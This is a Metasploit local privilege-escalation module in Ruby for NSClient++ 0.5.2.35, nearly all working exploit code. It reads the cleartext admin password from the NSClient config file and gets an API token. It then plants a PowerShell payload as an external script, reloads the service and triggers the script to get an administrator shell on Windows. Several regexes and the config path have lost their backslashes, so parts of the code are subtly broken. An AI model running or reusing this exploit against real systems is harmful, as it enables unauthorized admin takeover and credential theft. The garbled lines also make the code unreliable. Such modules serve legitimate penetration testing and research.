This Metasploit module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell. For this module to work, both the NSClient++ web interface and ExternalScripts features must be enabled. You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
'Description' => %q{
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.
You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
},
'License' => MSF_LICENSE,
'Author' =>
[ # This module is kind of mix of the two following POCs :
'kindredsec', # POC on www.exploit-db.com
'BZYO', # POC on www.exploit-db.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '48360'],
['EDB', '46802']
],
'Platform' => %w[windows],
'Arch' => [ARCH_X64],
'Targets' =>
[
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
)
)
deregister_options('RHOSTS')
register_options [
OptString.new('FILE', [true, 'Config file of NSClient', 'C:Program FilesNSClient++nsclient.ini']),
OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
]
end
def rhost
session.session_host
end
def configure_payload(token, cmd, key)
print_status('Configuring Script with Specified Payload . . .')
plugin_id = rand(1..10000).to_s
node = {
'path' => '/settings/external scripts/scripts',
'key' => key
}
value = { 'string_data' => cmd }
update = { 'node' => node, 'value' => value }
payload = [
{
'plugin_id' => plugin_id,
'update' => update
}
]
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
r = send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
if !(r&.body.to_s.include? 'STATUS_OK')
print_error('Error configuring payload. Hit error at: ' + endpoint)
end
print_status('Added External Script (name: ' + key + ')')
sleep(3)
print_status('Saving Configuration . . .')
header = { 'version' => '1' }
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
end
def reload_config(token)
print_status('Reloading Application . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/core/reload')
})
print_status('Waiting for Application to reload . . .')
sleep(10)
response = false
count = 0
until response
begin
sleep(datastore['DELAY'])
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/')
})
if r && !r.body.empty?
response = true
end
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
count += 1
if count > 10
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
end
end
end
def trigger_payload(token, key)
print_status('Triggering payload, should execute shortly . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri("/query/#{key}")
})
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
def external_scripts_feature_enabled?(token)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/registry/control/module/load'),
'vars_get' => { 'name' => 'CheckExternalScripts' }
})
r&.body.to_s.include? 'STATUS_OK'
end
def get_auth_token(pwd)
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/auth/token?password=' + pwd)
})
if r&.code == 200
auth_token = r.body.to_s[/"auth token": "(w*)"/, 1]
return auth_token
end
rescue StandardError => e
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
def get_arg(line)
line.split('=')[1].gsub(/s+/, '')
end
def leak_info
file_contents = read_file(datastore['FILE'])
return unless file_contents
a = file_contents.split("n")
pwd = nil
web_server_enabled = false
a.each do |x|
if x =~ /password/
pwd = get_arg(x)
print_good("Admin password found : #{pwd}")
elsif x =~ /WEBServer/
if x =~ /enabled/
web_server_enabled = true
print_good('NSClient web interface is enabled !')
end
end
end
return pwd, web_server_enabled
end
def check
datastore['RHOST'] = session.session_host
pwd, web_server_enabled = leak_info
if pwd.nil?
CheckCode::Unknown('Admin password not found in config file')
elsif !web_server_enabled
CheckCode::Safe('NSClient web interface is disabled')
else
token = get_auth_token(pwd)
if token.nil?
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
elsif external_scripts_feature_enabled?(token)
CheckCode::Vulnerable('External scripts feature enabled !')
else
CheckCode::Safe('External scripts feature disabled !')
end
end
end
def exploit
datastore['RHOST'] = session.session_host
pwd, _web_server_enabled = leak_info
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
token = get_auth_token(pwd)
if token
rand_key = rand_text_alpha_lower(10)
configure_payload(token, cmd, rand_key)
reload_config(token)
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
trigger_payload(token, rand_key)
else
print_error('Auth token couldn't be retrieved.')
end
end
end
